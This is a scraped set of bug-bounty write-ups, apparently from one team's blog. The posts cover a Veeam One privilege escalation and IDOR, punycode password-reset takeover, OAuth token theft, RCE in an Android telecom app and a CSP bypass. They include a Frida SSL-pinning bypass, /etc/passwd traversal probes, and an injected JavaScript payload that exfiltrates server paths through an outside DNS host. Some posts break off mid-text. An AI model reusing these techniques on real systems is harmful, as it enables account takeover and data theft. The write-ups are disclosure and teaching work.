It was possible to grab the victim’s machine authentication cookie via Wireshark tool.


CVE-2024-29853 - Local Privilege Escalation via Veeam One Agent
Installing Veeam One, a couple of services like Veeam One server, client, and agent for communication between components are installed. Reviewing Veeam One source code, there's a section of code regarding the Veeam One agent component that is vulnerable to LPE due to an argument that is controllable by the user. By injecting the malicious DLL, I bypassed the protection with path traversal and escalated the user's role to the local system (administrator).
The TryResolveAssemblyFromFile function takes 3 args to format the dll filename. string text string.Format{"{0}{1}{2}.d11", arg, Path.DirectorySeparatorChar, arg2);


Broken Access Controls and IDORs
Besides the previously reported bugs, I found multiple access control issues along with IDORs by auditing the source code as mentioned earlier. I will provide one example in this post to show how an attacker could approach finding this bug on Veeam One product using both black-box and white-box methods.
Black-box approach
First, I needed to understand the different roles and groups to better grasp what each user does in the Veeam One system. After reading the docs and realized there are three types of group each having a set of permissions:

I created two accounts with different permissions (read-only and power user) to test features and their related API endpoints.
There was a specific section that allowed users to create backup repository locations.

Then, I added a custom location using the power user account and checked with the read-only user to see if I could delete the related record by providing the ID.
Here is the request for removing the related data.
DELETE /api/v2.2/geolocations/cities/{VALUE} HTTP/2
Host: 192.168.1.101:1239
Cookie: {VALUE}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Veeam-Connection-Id: {VALUE}
Authorization: Bearer {VALUE}
Content-Type: application/json;charset=utf-8
Content-Length: 2
Origin: https://192.168.1.101:1239
Referer: https://192.168.1.101:1239/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Pwnfox-Color: yellow
Te: trailers

[]

Using another numerical value like 1, 2, etc., resulted in the data added by the power user being removed by the read-only user, which was contrary to what the documents described.
White-box approach
I used two methods to find these types of bugs. The first method was identifying the API endpoints and their related functions.

For example, I could find most of the Veeam One APIs by searching for [route(“ in the source code and reading each one to see which user groups have the right to call the respective endpoint.
The second method involved finding the bug using a black-box approach and then searching for similar vulnerable endpoints in the source code.
Here is the actual vulnerable code (delete custom locations):

It takes an argument int CityId and passes it to the GetCity function directly without checking which user created the value, leading to the IDOR vulnerability.
Bug Bounty Tips

Don't be afraid of programs with .exe files. Not all of them are binaries; some come with web-based platform installations

When you find the first bug, such as broken access control, search through the source code to see if the developer made similar mistakes elsewhere

Search for old CVEs, it can give you handy information about the platform


Conclusion
It took me two weeks to find the first bug. Sometimes it takes weeks to fully understand the platforms, and the key is not giving up. I hope you all enjoyed my blog post.
See you in the next one!



Puny-Code, 0-Click Account Takeover
Voorivex — Sun, 01 Jun 2025 18:21:35 GMT
Hello! This blog post is a detailed version of the talk given by Amir and me at Nahamcon 2025. We usually choose a topic to focus on, spending time on it - it might turn into a 0day or just a simple checklist. Then we apply our findings to our daily hunting. Last year, we found an interesting inconsistency between mail servers and databases - there was a parsing disagreement on some characters. We immediately set up a testbed to investigate, and it led to discovering a neat attack. Actually, it had been discovered before us; we just put it into action and made around $50k from it. I’m not saying it was a 0day, but many programs were vulnerable. My most recent bug using this technique was about two weeks ago.
When it comes to inconsistency, I believe this is one of the most important root causes in security. It's at the center of many bugs and even led to the discovery of a whole class of vulnerabilities: HTTP Request Smuggling. Now, take a look at these URLs:
https://attacker.com%bf:@benign.com
https://attacker.com\@benign.com

Imagine there's a security function that checks if the host is legitimate, and a cURL function that sends the HTTP request. So, what's the host here? attacker.com or site.com? Honestly speaking, it doesn't even matter. The key point is that the layers should never disagree on host extraction. If they do, there's a high chance of a vulnerability.
Amir tweeted about this case about a year ago as a white-box challenge, as he often does. Many hunters got involved, but we never disclosed that it's actually a profitable vulnerability. I call it a money-maker because it's easy to test - not a complex gadget-chaining exploit or anything like that. It can happen in different parts of web applications. I'm focusing on the reset password functionality using an arbitrary mail server and MySQL. So, let's review a reset password function together:


The user enters their email address

The web app checks the database to see if the user exists or not?

To check, it runs a select query with the user’s input

If the user is found, a token gets saved in the database

The token will also be emailed to the user. So, that’s the workflow — simple and clear.

The question is, which email is passed to the SMTP server? The one the user typed in, or the one in stored in the database?


If it’s pulled from the database, then the web app is safe. If it’s pulled from the user input, then the web app is vulnerable. You might be wondering why this happens, and how? Let’s check out SMTP servers behaviour when they encounter a different character set. As you can see, the SMTP server treats “a” and the odd “a” as completely different. They’re two separate email addresses and never conflict with each other:

Now, let’s take a look at MySQL in a same situation. MySQL casts the odd “a” to the normal “a,” and that’s where the story begins. Let’s dig into it a little bit more:

In the first query, MySQL casts the odd “a” to the normal “a” so they end up equal. But in the second query, “a” doesn’t match the odd “a” because of the collation settings. The good news for hunters is that MySQL’s default settings handle that casting automatically - so if developers just code things the usual way, that inconsistency comes in. Where did this odd “a” come from? Just pick a letter—like “a”—and run a simple fuzzer:

You’ll quickly find all the characters that get treated like “a.” It’s really simple, i’ll show you the fuzzer code:
import mysql.connector

conn = mysql.connector.connect(
    host="localhost",
    user="test",
    password="test",
    database="test"
)

cursor = conn.cursor()

for i in range(0, 0x10ffff + 1):
    char = chr(i)

    cursor.execute("SELECT %s = 'a' AS is_equal", (char,))
    result = cursor.fetchone()

    if result[0]:
        print(f"Unicode Character {i} ({char}) is equal to 'a' in MySQL")

cursor.close()
conn.close()

There are various attack scenarios, I’m picking three to discuss:

Forgot Password Section

OAuth Provider Email Trust

OAuth Provider Redirect URL


Forgot Password Section
Let’s go for the first one, the scenario is simple: find an email to take over. In the forgot password section, enter the victim’s email address, intercept the HTTP request, and change the email to the puny-coded version. The reset password link for the victim will then be emailed to the puny-coded email, which is under your control. The attacker enters victim@gmail.com, but with the odd “a” which is not a normal “a”. This email actually belongs to the attacker. In the next step, the web app runs a SQL query to check if the email exists. Here it gets interesting: MySQL casts the odd “a” into a normal “a,” so the attacker’s email turns into the real victim’s email address. Since the email does exist in the database, a token is issued and saved. Then, the SMTP server sends the reset link to victim@gmail.com - but with the odd “a,” which goes to the attacker’s mailbox and that’s it. The attacker now has the victim’s reset link.

Simple. Practical. 0-click ATO. Here’s an example from a public program on HackerOne. As you can see, I laid out the full attack scenario in the report. We’ve actually found a bunch of websites that were vulnerable to this:

In this case, they should’ve paid 25k - but unfortunately, the asset wasn’t considered a main one. Still, 6k is 6k and i’m good with it

Is WordPress Safe?
We went a little bit too far and even started checking WordPress. Turns out, it’s not vulnerable - even when using the risky collation. I wanna show you this secure case, it might be interesting.

WordPress uses this collation and as you can see, “a” is equal to the odd “a”, at the first glance it might be dangerous:

But it’s not vulnerable. WordPress uses the user’s input to query the database, but when it comes to sending the email, it uses the email pulled from the database. This is so important, So even if you enter a puny-coded version of victim@gmail.com, WordPress generates the reset link for the real victim@gmail.com and sends reset password link to the legitimate email address:

OAuth Provider Email Trust
Now let’s look at the OAuth provider email trust issue. Some websites are safe in the forgot password flow, but they’re still vulnerable in other areas - like OAuth login. If the provider responds with a puny-coded version of the email, i’m talking about the callback phase during login, the web application can become vulnerable to the same attack. Here’s the OAuth flow:

In the final step, the web app calls the provider’s API and grabs the malicious email. That’s where the vulnerability kicks in. The app runs a query to find that email in the database, and if MySQL casts the odd “a” to a normal “a,” the attacker ends up logging in as the victim.
We checked Google - it delivers the email safely. I’m not gonna comment on Apple and Facebook; you can test those yourself. But what’s surprising is that Login with GitLab is actually vulnerable. It delivers the puny-coded email to the application, which leads to the vulnerability, Of course, that’s only if the application doesn’t validate the email properly or is using a risky collation. but the result is: if you go in a website and see “login with gitlab” button, it’s likely vulnerable.
We've created a web application that is vulnerable to this attack. It's simple to set up with just a docker compose up command. You can find it here. Feel free to practice with it.

OAuth Provider Redirect URL
This attack can also be carried out in the OAuth provider’s callback URL. I’m not gonna dive into it—I just want to introduce the idea. The concept is basically the same as the previous one.
The End
There are also more attack vectors with puny-code. If you find anything new, it’d be great to share it online. In conclusion, while we've discovered several bugs, there are likely many more yet to be found. Puny-code presents additional attack vectors that need attention. Sharing new findings online can help improve security. Stay vigilant and continue exploring potential vulnerabilities. I hope you found this blog post useful, thanks for the reading.



Stealing oAuth Token via Referrer Policy Override
Voorivex — Tue, 06 May 2025 20:38:40 GMT
Hello, let’s get straight to the main course. OAuth implementation has many hidden parts that have been discussed before on the internet. The most famous one is Account hijacking using “dirty dancing” in sign-in OAuth-flows, which inspired Omid and led him to find his amazing bug, which was nominated, then accepted for top web hacking techniques of 2024.
The attack scenario involves diverting the user from the usual OAuth or SSO authentication process. I think the OAuth is clear, but SSO has many implementations. Here, I'm referring to the redirect method, which Hashnode, the blog provider I'm using, has implemented. If you want to technically see what I'm saying, just click on the login button here. It uses the redirect method in SSO, on which I previously found a severe vulnerability:

By the way, I'm not going into detail about the tricks since Frans Rosen's write-up covers it thoroughly. To summarize, you should redirect the victim to an alternative path that:

has limited HTMLi, only  and  tags (nothing new, Omid’s tweet)

has limited HTMLi, DOMPurified, only  tag + referrerpolicy attribute (nothing new)

has limited HTMLi, DOMPurified, only "); 
// 

Unfortunately, there wasn't any user-related sensitive information on the page to extract. I couldn't even find a username or email address, which would have been minor but still noteworthy. I was about to give up when I noticed something new.
Sandbox Aligned with OAuth Token
I noticed an interesting 



Conclusion
don't forget that this complexity is made up of small components, and understanding how these pieces work together is what leads to vulnerabilities. finally, I reported it, and after a week of explaining this to the company's security team, they finally marked it as TRIAGE. they changed the attack complexity from LOW to HIGH because not every user connects their Google account to their account. As a result, the CVSS score changed from 8.8 to about 7.7, and I received about $3000 bounty for that.



From an Android Hook to RCE: $5000 Bounty
Voorivex — Tue, 19 Nov 2024 15:12:27 GMT
Hello, today I want to share a research-based story about how I reverse-engineered a famous Android application called MyIrancell. I managed to achieve RCE, reported it to the vendor, and earned a bounty. A few days ago, I received permission from the security team to write about it, and now I'm publishing the walkthrough. Here are several reasons why I think you should keep reading this post:

The Android application is one of the most installed applications in Iran and belonged to a Irancell, a telecommunications company with roughly 148 million subscribers

The application had been tested by many well-known penetration testing companies before I began working on it. Honestly, they were shocked when I reported the vulnerability with critical severity

To achieve RCE, I conducted a bit of related research, which I believe every skilled hunter should be able to do while actively hunting their target

This was an unusual RCE case which I'd never seen before; I managed to trick a headless browser into running arbitrary JavaScript code server-side

In order to intercept network traffic, I should have opened two encryption layers:

a normal TLS layer, which is used in widespread applications

an extra AES implementation with a random key for each user



The RCE was blind, and the remote server didn't have an internet connection, so I couldn't send data back by HTTP. Surprisingly, I could make a DNS tunnel to exfiltrate the data


Capturing the Traffic
One of the most bold topics in mobile application penetration tests is figuring out how to capture traffic. This is not a big deal in web applications (sometimes it is; for example, the user panel on amazon.com is heavily protected against MITM with BurpSuite), but overall, 99% of websites allow MITM when you install your own certificate as RCA, so it can sign other websites' certificates, making MITM not an issue. However, in mobile applications, the story is totally different.
Before going through it, let me clarify that I conducted all tests on this APK, which was the latest version at the time of hunting. There are many methods to disable an SSL pinning mechanism in mobile applications. I personally prefer the Frida tool, which is a handy tool to hook classes and functions at runtime. I’ve been using the following code to bypass SSL pinning:
    var array_list = Java.use("java.util.ArrayList");
    var ApiClient = Java.use('com.android.org.conscrypt.TrustManagerImpl');
    ApiClient.checkTrustedRecursive.implementation = function(a1,a2,a3,a4,a5,a6) {
        console.log('Bypassing SSL Pinning');
        var k = array_list.$new(); 
        return k;
    }

It's universal and works in every application. The bypass works by intercepting and hooking the certificate validation process. Since the method returns an empty or "trusted" list without performing any actual certificate checks, it tricks the application into believing the SSL/TLS connection is secure. Before hooking, I ran Genymotion, installed MyIrancell, set up the BurpSuite proxy in the virtual Android machine (I cannot remember the version; it was API 31 or something), and I could easily capture the traffic. Surprisingly, the MyIrancell application wasn’t applying an SSL pinning mechanism. Why did the application behave like this? The answer is in the traffic:
POST /webaxn/webaxn?group=selfcare HTTP/1.1
Accept-Encoding: gzip, deflate
Content-Type: application/vnd.wap.wbxml
IMEI: 000000000000000
os_version: 21
User-Agent: 2.2.1.10995/android
x-user-agent: 2.2.1.10995/android
x-device-ip: 10.0.3.15
X-Cookie: 1.5961535400767.32.8a42e69d7c531b0f.18c7a3256fbe09d4.72505fdbef3b508b0a899e3ce6f44f6883fb7767
DENSITY: 4.0;640
Host: myirancell.irancell.ir
Connection: close
Content-Length: 240

Jl¹H¾ö ¿Û§ù·fõõý«ÏÙOü¾Z<÷ïËµ¢ð%8B`T£±óc#zÁSBôJ.Vqß]»3©Ïýý;%õ`ZQT^ÈÙ'º1Ùçîkê±âÒuhÓÅ¢±¯üÂÆtf=bÙÛ#Ü1Â ÉGhÇCB-ÆZßµ¸û<¦Â_Ag»vyùÇs<g¢È®½î.®>82ACTnHJ¿O 2õítæwõ]=Jêºä·Áá¸«ÐÅ$vïym9KÌ2BxÀéê+îµ²i4Nd·U-Ú

Decrypting the Traffic
As observed, the traffic is not in plain text. They knew SSL pinning is not a strong fortress, so they applied an extra layer—a custom encryption—to resist traffic interception:

The first assumption here is that the body is encrypted by a symmetric algorithm, and the key is exchanged at the beginning of the connection and stored somewhere in the user's mobile, or it’s sent along with each HTTP request so the client can decrypt the message. Furthermore, the X-Cookie header was strongly eye-catching for me, and I was sure that it’s related to the encryption system.

How do I know this? How can I make these assumptions? The answer is: experience. The more mobile applications you pentest, the higher the chance of making correct assumptions. Furthermore, do not forget to follow the Occam’s Razor principle in daily hacking

Here I reached a "looking for a needle in a haystack" situation, the most difficult part in mobile penetration testing. I have an old-school trick which I've been using for many years: hooking all strings!
Out of context, I use this technique for web applications too. It lets me extract all URLs that are built at runtime in SPAs. Let's get back to our topic. I launched the application and attached the script above using a handy Python script.
I spent a day understanding the overall flow of the mobile application. It's challenging to determine the exact flow, but getting a general idea is possible. This process can't be documented as a step-by-step checklist or manual. You need to explore the code to trace things, which I refer to as 'hanging out in the app'; Eventually, I arrived at the following stack trace:

The a() method was clearly an encryption/decryption method. Here, I used another approach to overcome the encryption: a universal AES hooker! Similar to the string hooker, the AES hooker script can effectively hook any Android app that uses AES through Java’s Cipher class for encryption or decryption. Remember that if an app performs AES operations in the native layer (using C/C++ libraries), this script won’t capture those calls. For full coverage, you would need additional hooks targeting native code. The result:

As shown in the image, I could reach the plain text version of the traffic. However, it does not look like plain text; some printable and non-printable characters are mixed:

Taking a closer look reveals some patterns:

Encryption System
Reaching this phase, I decided to spend more time reading the source code and hooked over 100 functions and classes to figure out what is going on here. Digging more, I ultimately solved the mystery behind the encryption system as well as the custom X-Cookie header. The results:

There is a key exchange protocol (custom protocol). At the beginning of the connection, the server sends a key and session id to the client, and the next packets are encrypted by the key. The key is bound to the user’s session id.

But the exchange is more complicated. Before going through the flow, I should explain how the X-Cookie works; it could only have two values:
X-Cookie: 1.7a1f20f920dc6bafdbaefa8d459e4b61755f8492
X-Cookie: 1.11544591529526.32.a84f9b13d70e65c2.21dc586f490a73be.7d23ab449aa2061dc1a190f0d1d1e0e6f40a96e3

The first line is for when the key exchange is completed, and the permanent key is delivered and saved in the client. The second one is used in the key exchange phase, which I want to expand on a little bit more. Regardless of whether the server or client receives the HTTP packet, each performs a predefined action based on the HTTP body and X-Cookie values. Breaking the cookie into parts with an explanation:

1: nothing important, haven't figured out what it is

11544591529526: KEY1, a temporary key seed. The temporary key is created using this seed

32: KEY2, the main key length, which is embedded at the beginning of every HTTP body which is used to decrypt whole HTTP body

a84f9b13d70e65c2: IV1, an initial vector of the temporary key to decrypt first bytes (32) of the HTTP body to retrieve KEY2

21dc586f490a73be: IV2, an initial vector of the main key to decrypt the whole HTTP body

7d23ab449aa2061dc1a190f0d1d1e0e6f40a96e3: an HMAC to ensure that the body's integrity remains unchanged


This flow is used to transfer data between the Client and the Server. It’s a network protocol, just guaranteeing the confidentiality and integrity of the data.

Now let’s define the precise flow, which is shown below:


Initial Phase — The mobile application sends a semi-empty HTTP request to the server. The server responds with an encrypted body and an X-Cookie header. The client uses the X-Cookie to decrypt the body and save general configurations on the mobile

Key Exchange Phase — The mobile application creates a random dummy key, places it in the body with an appropriate X-Cookie header, and sends it to the server. The server receives the packet, decrypts it using the X-Cookie mechanism, and retrieves the dummy key from it. Then the server generates a random permanent key, encrypts it with the dummy key that the client just sent in the request. The server also generates a session for the user, binds it to the permanent key, and responds to the client. The client then decrypts the response using the dummy key

Interaction Phase — The rest of the connection is encrypted/decrypted by the permanent key, which turns into a shorter version that only contains a checksum


Encoding Issue
I went through a long process. After intercepting the traffic, I tried to figure out the login mechanism. I entered my number in the login, an OTP was sent, and I entered it in the mobile UI, then searched the traffic for it. Despite my expectations, I found nothing and started thinking: what is going on here? Taking a closer look at the traffic revealed that there is an extra encoding. Here is the decrypted HTTP body for login:

As observed, the phone number has changed into 4n5lcipUYfhzJ3QeTUVz. It was not a big issue since I had been debugging the application for a few days.

Immediately, I started writing an encoder/decoder script. In those days, there was no ChatGPT, so I spent a few hours on it:

Vulnerability Discover
I figured out how some key functions work, like the encryption system, key exchange, encoding functions, and session ID. After a long journey, I was eager to find server vulnerabilities. The most important part of bug bounty hunting is threat modeling. Almost all top hackers have this skill; they might not do it explicitly, but they do it intuitively. I focused on IDOR or BOLA, SQL Injection, and business logic issues because I could modify plain text traffic. How many hunters have reached this stage? I knew I was in the right place and would definitely find a bug there. I spent a few days but couldn't find any vulnerabilities. Imagine being in my position, spending many days dealing with technical challenges, reaching plain text traffic, doing lots of tests, and finding nothing :)
It was a key moment. I'm 36 years old and have been hacking for over 20 years. I'm pretty sure that bug bounty failures often stem from non-technical issues. I'm not dismissing knowledge issues, but the right mindset definitely outshines malicious payloads. Honestly, at that moment, I was totally frustrated. How could this be possible? Not even a single bug? I realized I needed to give myself some space. So, I stopped testing, quieted my brain monkey, and started working with a different approach. Remember, consistency is the key that opens every lock. I searched the internet for any helpful documents about the target and eventually found a WebAxn SDK manual. I carefully scanned the document and discovered that the server uses a headless browser. It opens HTML files, runs JavaScript functions, and returns results all on the server side. So, the flow was more complex:

Now let's look back at the HTTP packets:

There is a pattern in it; can you spot it? Of course, once a puzzle is solved, it becomes clear. The pattern is:
wgt:[FILE_PATH]:FUNC(ARGS)

When an HTTP request reaches the server, the [FILE_PATH] is extracted, and a headless browser opens it. Then, FUNC(ARGS) is executed on the opened page. The first and immediate test was Local File Disclosure: I tried many vectors here, but again, nothing was found.
wgt:../../../../etc/hosts:FUNC(ARGS)
wgt:FUZZ.html:FUNC(ARGS)
wgt:/etc/passwd:FUNC(ARGS)
wgt:../../../../../etc/passwd
wgt:/etc/passwd

I also fuzzed the function name and parameters to create an unexpected error, but still nothing was gained. Another tricky test was changing the JavaScript function to something arbitrary, such as console.log().
wgt:555510/1.0/logincrm.html:console.log(123)
wgt:555510/1.0/logincrm.html:document.write(123)

Didn't work. I felt there is a checker function there, checking whether the corresponding function is present in the file or not. If it is, then it's going to be executed. This is an assumption; I should have tested its validity. This process is called Blackbox penetration testing. You should continuously make assumptions and test them. So I kept trying to bypass the imaginary checker function. I tested:
logincrm.html:validateNumber($msisdn,'','N');document.write(123)
logincrm.html:document.write(123);validateNumber($msisdn,'','N')

Did not work again. I decided to skip the echo-based test and moved on to blind and out-of-band tests:
logincrm.html:window.location='https://a.tld/r/';validateNumber($msisdn,'','N')
logincrm.html:validateNumber($msisdn,'','N');window.location='https://a.tld/r/'

Where https://a.tld/r/ was my web server. It didn't work again since I didn’t receive any HTTP logs at my web server. Before giving up, I accidentally checked my DNS server logs and, to my surprise, I saw DNS logs from the target! I checked it several times, and it was correct, so I crafted a malicious packet:
["https",[location.pathname.split("/").join("zZ"),"75da75be5e3439e5d1ae.d.zhack.ca"].join(".")].join("://");validateNumber($msisdn,'','N')

I received DNS logs:
zZhomezZselfcarezZwebaxnzZwidgetszZwebaxnzZ555510zZ1.0zZlogincrm.html

Converting zZ to / reveals the full path:
/home/selfcare/webaxn/widgets/webaxn/555510/1.0/logincrm.html

Why DNS?
I was able to make out-of-band DNS requests and extract data through them. You might encounter a similar situation in your bug bounty or penetration testing projects.. Before diving into the technical details, we should address an important question: why did the server not initiate an HTTP request but did initiate a DNS request? The first thought might be a firewall, but that's not the case.
When it comes to HTTP, sensitive servers usually don't have an internet connection. Technically, they lack any network interface with public routes. There are intermediary servers that act as reverse proxies and have internet access. There can be several of these, but only the frontmost server should have internet access; in reality, firewalls serve as internet gatekeepers. These servers receive HTTP requests from clients and forward them to the correct server. For example, when you browse https://ebanking.mamad.net, you're communicating with a series of servers. The last server in this chain, which is the actual e-banking portal, doesn't have internet access. Here's a brief overview of this process:

Many enterprise companies, including Irancell, use Active Directory for domain management. Active Directory relies on Domain Name System (DNS) servers to help clients find domain controllers and for domain controllers to communicate with each other. It allows devices to locate services, servers, and resources within the AD network. In an Active Directory (AD) environment, it’s common to use two types of DNS servers:

Internal DNS Servers (within AD): These DNS servers are part of the AD infrastructure and handle DNS queries related to the internal network and AD services

External DNS Servers (outside AD): External DNS servers handle public DNS queries, like requests to access websites or external resources on the internet


But how do clients know which DNS server to send requests to? They don't. They simply make a DNS query to the internal DNS server within AD. If the record corresponds to an internal address, it handles it; otherwise, it forwards the DNS query outside:

If a remote attacker can trick a vulnerable server inside AD into sending a DNS query to a domain they control, they will receive the query. This is called DNS data exfiltration. It doesn't matter if the target AD uses one or two DNS servers; if it forwards DNS queries, it is at risk. In my experience, many AD networks do not follow best practices and end up forwarding DNS traffic. The final flow that allowed me to exfiltrate data was:

DNS Exfiltration
DNS data exfiltration is a clever technique that uses the DNS protocol to secretly transfer sensitive data from a network to an external server controlled by an attacker. Despite the controlled environment in a lab, there are technical challenges in the real world, such as

DNS queries have a limited length, so they are not suitable for transferring large amounts of data

DNS queries use UDP, which is not stateful, leading to potential packet loss

The data should be divided into small parts before sending, and then reassembled with full integrity after being received


So, I created a simple, lightweight protocol to make sure I receive the data completely and accurately. The protocol works like this:

Smashing Data — involves converting data bytes into corresponding Unicode characters, separated by a dot, and then breaking it into small parts with a fixed length (100 works well). This way, the data becomes a sequence of chunks

Initial Packet — This packet shows how many chunks of data there are. The server should expect to receive the exact number of chunks. It starts with the character 0 and includes a random number to prevent DNS caching

Data Packets — These packets contain data in Unicode format, allowing the transmission of binary data as well. Each query begins with the chunk number, followed by the data and a random number to prevent caching

Reassembling — The server receives data in chunks and checks if all chunks have been received. The number of chunks is known from the first packet. If any chunk is missing, the server is instructed to resend it and waits to receive it. Then, it reverses the initial process to reconstruct the data.


Let me make an example. Suppose I want to transfer the data Yashar Shahinzadeh, just for test :) using the protocol I designed. Here's how it would work:


I asked @AmirMSafari to write a standalone exploit code that works universally. It generates code to be run on the server side and then receives the DNS via interaction. Currently, only JS code is supported, but PowerShell and Bash will be added soon

Post Exploitation
I managed to execute JS code on the remote server and receive the results through the DNS channel, which was enough to earn a bounty. However, with prior notice to the vendor, I decided to go a bit further to show the real impact of the attack. Of course, I didn't go too far — just extracted a few key functions to demonstrate some attacks. First, I extracted the source code of functions. In NodeJS RCE, attackers can use the .toString() function to view the source code:

The image above shows a post-authentication feature. As you can see, it calls an internal web service without requiring authentication:

This means I could directly call the internal web service via XmlHttpRequest class and bypass all security measures like authentication or authorization. For example, I could send a service SMS with the Irancell sender name:

I continued developing the exploit code and added the following features:

Video PoC demonstrating the vulnerabilit
https://youtu.be/HhwrOiw_htc
 
The story ends here. I hope you find this post useful. Thank you for taking the time to read it.



A Weird CSP Bypass led to $3.5k Bounty
Omid Rezaei — Wed, 23 Oct 2024 19:54:00 GMT
Roughly 5 months ago, YShahinzadeh and I found an XSS vulnerability that had a weird CSP bypass leading to Account Takeover and received a $3500 bounty. The journey was quite interesting to me as it involved deep recon, reading many documents of the website, and facing a CSP bypass I had never seen before, so let's begin the writeup.
Recon
After doing common tasks like subdomain enumeration, I found a complex web application with many features that allowed users to set up their own e-commerce sites. Working on and setting up the website was quite difficult, as I couldn't create a valid e-commerce site within several hours. This was a critical moment because many hunters may drop the target when they encounter complexity or a difficult registration or setup process. However, I chose to spend some time here, and it worked!
So I started reading many documents and watching the company's YouTube videos to figure out how I could make my website with a subdomain on the platform. For example, I could set up a website like evil.freehost-target.com.
Analyzing the Target
Usually, in companies that allow users to set up their own websites, XSS is not an issue since they allocate a completely different domain to users. For example, the Hostinger program on H1 has a main domain hostinger.com, but the user free hosting is set up on *.000webhost.com. According to this fact, these companies let users upload arbitrary JavaScript code, resulting in XSS, or better to say, a useless XSS as it isn't exploitable. In our target, we had the same situation; we could trigger XSS, but we couldn't use it in any way.
I kept this in mind: I have a useless XSS in a useless subdomain. I didn't stop hunting; it's very important not to fall into the rabbit hole and always try to explore different parts of the target. Consequently, I found an interesting API call on the company's main website. The API call response included user PII data and an Authentication Cookie (I know it's not common to return an authentication cookie in a JSON object).
Immediately I tested the API for CORS misconfigurations and noticed that it allowed access from *.freehost-target.com, potentially opening it up to security risks.

I had two flaws (or not even flaws?) here:

a useless XSS in *.freehost-target.com

a sensitive API that had *.freehost-target.com in its trusted domains


Most of you can see the vulnerability here, chaining up two flaws to steal other users' information and authentication cookies. However, it couldn't happen, and the important question is: WHY?
I created a page with malicious JavaScript code to send an authenticated HTTP request on behalf of the victim to the sensitive API, aiming to capture the victim's authentication cookie. Everything was okay until I realized that I didn't receive the authentication cookie. Digging more into the exploit code and the traffic led me to find out that there is a connect-src CSP header (read more about it here) preventing the victim from sending the HTTP request to the sensitive endpoint (let’s call it cookie-endpoint )
The attack scenario:

Set up a malicious website, like evil.freehost-target.com

Trick a victim into opening evil.freehost-target.com while they are logged in to the main website

JS code → send an authenticated HTTP request to the https://mainsite/cookie-endpoint and capture the response, which contains the authentication cookie → FAILED because of the CSP rules

JS code → sending the victim's data to the attacker's website. → We couldn’t exfiltrate data directly due to CSP → FAILED


CSP Rules
The CSP rules of the main domain were something like this:

As seen, the https://mainsite/cookie-endpoint is not on the whitelist, so I couldn't force the victim to send the request to that endpoint and get the Auth Cookie. I tried different ways to get bypass the CSP rules but I couldn't find anything, so I started the collaboration with YShahinzadeh. Eventually, we found out that the website owner could add trusted websites in the CSP rules:


This is the response we received when we added a website https://mainsite/cookie-endpoint to the Trusted Sites list

Unfortunately, as shown in the image, our trusted website was added to the script-src directive value. We could load remote scripts from https://mainsite/cookie-endpoint, but we couldn't get the response and parse it to retrieve the Auth Cookie.
The Way of Bypass
In the first step, we tried to break the meta tag to ignore connect-src the part:
https://mainsite/cookie-endpoint ">

Voorivex Hunting Team

Story of Abusing a Fully Secured redirect_uri in an OAuth Flow

A Quick Primer on SSO and OAuth

Two Types of Redirects

The Target's OAuth Flow

Analyzing the Attack Surface

The Wall: Every Trick in the Book, Blocked

Fuzzing the URL Parser

The Breakthrough

Why This Bug Existed

uXSS on Samsung Browser [CVE-2025-58485 SVE-2025-1879]

Introduction

New Methodology

Entry Point: Exported Bixby Launcher Activity

OnCreate

Checker Functions: isAllowedPackage

Check One: GEDUtils.isGED()

Check Two: android.intent.action.VIEW

Check Three: com.samsung.android.bixby.agent

Bixby Referrer Limits the Attack Surface

Continue to Discover Whole Flow

Component Boundary: Intent Passed to a New Activity

The Sink

The Whole Flow Diagram

Path 1: Not Exploitable

Path2: Exploitable

Proof of Concept:

Timeline

Conclusion

When Two Parsers Disagree: Exploiting Query String Differentials for XSS

Reading the Challenge Source Code

The Framework

The Query Parser Setting

The Route Logic

The Inline Script

Spotting the Crack

How Express Uses the qs Library

Inside the qs Parser, A Deep Dive

Step 1: Entry Point and Options

Step 2: Split the String into Key/Value Pairs

Step 3: Finding the = Separator, Critical for Solution 1

Steps 4 and 5: Nesting and Merging, Critical for Solution 2

Step 6: Merge and Compact

Understanding the Browser's Parser

Solution 1: The ]= Priority Trick

Missing or Confusing Consent Screen, OAuth Misuse

Other Attack Vectors Worth Trying

Going Beyond Authentication Attacks

Direct Access to the MCP Server

MCP Servers Weren't Built to Handle Attackers

Connect To A MCP Server

Step 1: Exchange the Code for an Access Token

Step 2: Install MCP Inspector

Step 3: Configure the Connection

Step 4: Explore the Tools

Discovering a Full-Read SSRF Vulnerability

First Attempt: The Easy Way

Finding the Rules

The Path Normalization Trick

Dynamic Client Registration: My Secret Weapon

Putting It All Together

Conclusion

DOM XSS to Account Takeover: Not-So-Dirty Dancing in GIS SDK

Can We Even Get Account Takeover?

How Does the GIS SDK Actually Work?

SDK Loading and Initialization

Triggering Authentication

The GIS Authentication Flow

Why This Makes Attacks Harder

The Attack Surface

Not-So-Dirty Dancing

Magical Parameters

The Google One-Tap Parameter

Final Account Takeover Exploit

Cloudflare Image Proxy as a CSPT Gadget: A Cross-Origin CSPT Exploit

Why Cross-Origin CSPT Matters?

How to Change the Origin: 307 / 308 Redirects

Practical Gadget - Cloudflare Image Transform

Exploitation Workflow (Cloudflare Gadget)

Limitations and Realistic Impact

Check One: `GEDUtils.isGED()`

Check Two: `android.intent.action.VIEW`

Check Three: `com.samsung.android.bixby.agent`

How Express Uses the `qs` Library

Inside the `qs` Parser, A Deep Dive

Step 3: Finding the `=` Separator, Critical for Solution 1

Solution 1: The `]=` Priority Trick